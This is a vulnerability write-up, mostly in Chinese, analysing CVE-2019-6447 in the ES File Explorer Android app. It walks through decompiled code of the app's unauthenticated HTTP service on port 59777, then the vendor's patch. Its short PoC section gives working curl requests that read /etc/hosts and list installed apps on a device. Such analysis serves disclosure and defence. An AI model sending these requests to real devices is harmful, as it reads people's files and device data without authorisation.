The ES File Explorer File Manager application through 4.1.9.7.4 for Android allows remote attackers to read arbitrary files or execute applications via TCP port 59777 requests on the local Wi-Fi network. This TCP port remains open after the ES application has been launched once, and responds to unauthenticated application/json data over HTTP.

Environment

OS: Android 11 (Windows Subsystem) APP Version: ES File Explorer v4.1.9.7.4

Analysis

CVE-2019-6447 是 Android 中内置的 ES 文件管理器中存在的漏洞。ES 文件管理器在本地启用了一个未授权的 HTTP 服务,允许用户直接运行应用以及读取任意文件。

下载存在漏洞版本的 APP,解压缩后使用 d2j-dex2jar *.dex 将所有 dex 文件反编译成 jar 包。使用 jadx 反编译后,搜索关键字 command,可以定位到漏洞代码处。该函数在没有检查访问权限的情况下,给 POST 提供了多个不同的 command 参数:

  public qi.b a(String paramString1, String paramString2, Properties paramProperties1, Properties paramProperties2, Properties paramProperties3) {
    if (paramString1.startsWith("/estrongs_filemgr_oauth_result")) {
      // ...
    }
    if (paramString2.equals("POST")) {
      String str1 = new String(g());
      try {
        JSONObject jSONObject = new JSONObject();
        this(str1);
        str1 = jSONObject.getString("command");
        if (str1.equals("listFiles"))
          return b(paramString1);
        if (str1.equals("listPics"))
          return d();
        if (str1.equals("listVideos"))
          return e();
        if (str1.equals("listAudios"))
          return f();
        if (str1.equals("listApps"))
          return a(0);
        if (str1.equals("listAppsSystem"))
          return a(1);
        if (str1.equals("listAppsPhone"))
          return a(2);
        if (str1.equals("listAppsSdcard"))
          return a(3);
        if (str1.equals("listAppsAll"))
          return a(4);
        if (str1.equals("getAppThumbnail"))
          return d(jSONObject);
        if (str1.equals("appLaunch"))
          return a(jSONObject);
        if (str1.equals("appPull"))
          return c(jSONObject);
        if (str1.equals("getDeviceInfo"))
          return b(jSONObject);
      } catch (JSONException jSONException) {
        jSONException.printStackTrace();
        return new qi.b(this, "500 Internal Server Error", "text/plain", jSONException.toString());
      }
    }
    // ...
  }

ES 文件管理器中共支持以下不同的命令:

command description
listFiles 列出所有的文件
listPics 列出所有的图片
listVideos 列出所有的视频
listAudios 列出所有的音频
listApps 列出安装的应用
listAppsSystem 列出系统自带的应用
listAppsPhone 列出通信相关的应用
listAppsSdcard 列出安装在 SD 卡上的应用
listAppsAll 列出所有的应用
getAppThumbnail 列出指定应用的图标
appLaunch 启动制定的应用
appPull 从设备上下载应用
getDeviceInfo 获取系统信息

以 getDeviceInfo 为例,执行该命令后,会获取得到设备信息、FTP 的根目录以及 FTP 端口:

public qi.b b(JSONObject paramJSONObject) {
  qi.b b;
  try {
    // ...
    String str3 = stringBuilder1.append("{").append("\"name\":\"").append(Build.MODEL).append("\", ").toString();
    // ...
    String str1 = stringBuilder1.append(str3).append("\"ftpRoot\":\"").append(h.a().Y()).append("\", ").toString();
    // ...
    str1 = stringBuilder2.append(str1).append("\"ftpPort\":\"").append(h.a().Z()).append("\"").toString();
    // ...
    String str2 = stringBuilder2.append(str1).append("}").toString();
    b = new qi.b();
    this(this, "200 OK", "text/plain", a(str2));
    StringBuilder stringBuilder3 = new StringBuilder();
    this();
    b.a("Content-Length", stringBuilder3.append("").append((str2.getBytes("utf-8")).length).toString());
  } catch (Exception exception) {
    exception.printStackTrace();
    b = new qi.b(this, "500 Internal Server Error", "text/plain", exception.toString());
  }
  return b;
}

public String Y() {
  String str1 = PreferenceManager.getDefaultSharedPreferences((Context)FexApplication.c()).getString("ftpsvrroot", "/sdcard");
  String str2 = str1;
  if (f.I != null) {
    str2 = str1;
    if (str1.equalsIgnoreCase("/sdcard"))
      str2 = f.I;
  }
  return str2;
}

public int Z() {
  char c2;
  char c1 = 0;
  SharedPreferences sharedPreferences = PreferenceManager.getDefaultSharedPreferences((Context)FexApplication.c());
  try {
    c2 = sharedPreferences.getInt("ftpsvrport", 3721);
  } catch (Exception exception) {
    c2 = c1;
  }
  return c2;
}

而如果没有发起 POST 请求,会对传入的 URL 路径进行解析,并读取和返回相应的文件内容(由于不能越权,只能读取相应权限的文件):

public qi.b a(String paramString1, String paramString2, Properties paramProperties1, Properties paramProperties2, Properties paramProperties3) {
  if (paramString1.startsWith("/estrongs_filemgr_oauth_result")) {
    // ...
  }
  if (paramString2.equals("POST")) {
    // ...
  }
  String str = ah.bM(paramString1);
  if (str == null || ah.I(str) == 0) // directly read file
    return (str == null) ? super.a(paramString1, paramString2, paramProperties1, paramProperties2, paramProperties3) : super.a(str, paramString2, paramProperties1, paramProperties2, paramProperties3);
  // ...
}

public b a(String paramString, Properties paramProperties, File paramFile, boolean paramBoolean) {
  // Byte code:
  //   0: aload_3
  //   1: invokevirtual isDirectory : ()Z
  //   4: ifne -> 27 // should be a dir
  //   7: new es/qi$b
  //   10: dup
  //   11: aload_0
  //   12: ldc_w '500 Internal Server Error'
  //   15: ldc_w 'text/plain'
  //   18: ldc_w 'INTERNAL ERRROR: serveFile(): given homeDir is not a directory.'
  //   21: invokespecial <init> : (Les/qi;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  //   24: astore_1
  //   25: aload_1
  //   26: areturn
  //   27: aload_1
  //   28: invokevirtual trim : ()Ljava/lang/String;
  //   31: getstatic java/io/File.separatorChar : C
  // ...
  //   49: iflt -> 65 // trim path
  //   52: aload_1
  //   53: iconst_0
  //   54: aload_1
  //   55: bipush #63
  //   57: invokevirtual indexOf : (I)I
  //   60: invokevirtual substring : (II)Ljava/lang/String;
  //   63: astore #5
  //   65: aload #5
  // ...
  //   84: ifne -> 98
  //   87: aload #5
  //   89: ldc_w '../'
  //   92: invokevirtual indexOf : (Ljava/lang/String;)I
  //   95: iflt -> 119 // should not use `..`
  //   98: new es/qi$b
  //   101: dup
  //   102: aload_0
  //   103: ldc_w '403 Forbidden'
  //   106: ldc_w 'text/plain'
  //   109: ldc_w 'FORBIDDEN: Won't serve ../ for security reasons.'
  // ...
  //   133: invokevirtual exists : ()Z
  //   136: ifne -> 160 // file exists
  //   139: new es/qi$b
  //   142: dup
  //   143: aload_0
  //   144: ldc_w '404 Not Found'
  //   147: ldc_w 'text/plain'
  //   150: ldc_w 'Error 404, file not found.'
  //   153: invokespecial <init> : (Les/qi;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  //   156: astore_1
  //   157: goto -> 25
  //   160: aload #6
  // ...
  //   419: aload_2
  //   420: invokestatic parseLong : (Ljava/lang/String;)J
  //   423: lstore #8
  //   425: new java/io/FileInputStream
  //   428: astore #5
  //   430: aload #5
  //   432: aload_1
  //   433: invokespecial <init> : (Ljava/io/File;)V
  // ...
  //   457: ldc_w '200 OK'
  //   460: aload_3
  //   461: aload #5
  //   463: invokespecial <init> : (Les/qi;Ljava/lang/String;Ljava/lang/String;Ljava/io/InputStream;)V
  //   466: new java/lang/StringBuilder
  // ...
  //   481: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
  //   484: aload_1
  //   485: invokevirtual length : ()J
  //   488: lload #8
  //   490: lsub
  //   491: invokevirtual append : (J)Ljava/lang/StringBuilder;
  //   494: invokevirtual toString : ()Ljava/lang/String;
  //   497: invokevirtual a : (Ljava/lang/String;Ljava/lang/String;)V
  //   500: new java/lang/StringBuilder
  // ...
  //   577: aload_0
  //   578: ldc_w '403 Forbidden'
  //   581: ldc_w 'text/plain'
  //   584: ldc_w 'FORBIDDEN: Reading file failed.'
  //   587: invokespecial <init> : (Les/qi;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  // ...
}

该 HTTP 服务是 ES 文件浏览器的一个内置功能,可能是用于不同设备之间的共享,但由于没有对请求进行校验,导致了安全问题的出现。

PoC

Arbitrary read: curl --header "Content-Type: application/json" http://172.18.185.191:59777/etc/hosts

Execute command: curl --header "Content-Type: application/json" --request POST --data "{\"command\":\"listApps\"}" http://172.18.185.191:59777

Patch

在 ES 文件管理器 v4.1.9.9.3 版本中修复了该漏洞,分别对 POST 参数的调用和文件读取增加了权限检查:

public qj.b a(String paramString1, String paramString2, Properties paramProperties1, Properties paramProperties2, Properties paramProperties3) {
  qj.b b2;
  // ...
  if (paramString2.equals("POST")) {
    if (!ap.d())
      return new qj.b(this, "400 Bad Request", "text/plain", "");
    //...
  }
  String str2 = ai.bK((String)b2);
  if (str2 == null)
    return new qj.b(this, "403 Forbidden", "text/plain", "Permission denied.");
  if (ai.H(str2) == 0)
    return super.a(str2, paramString2, paramProperties1, paramProperties2, paramProperties3);
  // ...
}

首先是对 POST 参数进行了权限检查,要求 uiModeManager.getCurrentModeType() 必须为 4 才能调用相关命令:

public static boolean d() {
  boolean bool = true;
  if (b == -1)
    try {
      boolean bool1;
      if (c() || l.e((Context)FexApplication.c())) {
        // ...
      }
      // ...
    } catch (Exception exception) {
      exception.printStackTrace();
      b = 0;
    }
  if (b != 1)
    bool = false;
  return bool;
}

public static boolean c() {
  boolean bool = false;
  UiModeManager uiModeManager = (UiModeManager)FexApplication.c().getSystemService("uimode");
  if (uiModeManager != null) {
    if (uiModeManager.getCurrentModeType() == 4) // check type
      return true;
    bool = false;
  }
  return bool;
}

第二部分对文件读取进行路经检查,增加了对路径字符串的检查,要求以 /es-hash/ 开头,猜测改变了读取文件的方式:

public static String bK(String paramString) {
  String str1 = null;
  String str2 = paramString;
  if (paramString.startsWith("http://127.0.0.1:"))
    str2 = Uri.parse(paramString).getPath();
  paramString = str1;
  if (str2 != null) {
    if (!str2.startsWith("/es-hash/"))
      return str1;
  } else {
    return paramString;
  }
  paramString = str1;
  if (str2.length() >= 41)
    paramString = qi.a(str2.substring(9, 41));
  return paramString;
}

References

ES 文件浏览器安全漏洞分析(CVE-2019-6447)
NVD - CVE-2019-6447
ES File Explorer Open Port Vulnerability - CVE-2019-6447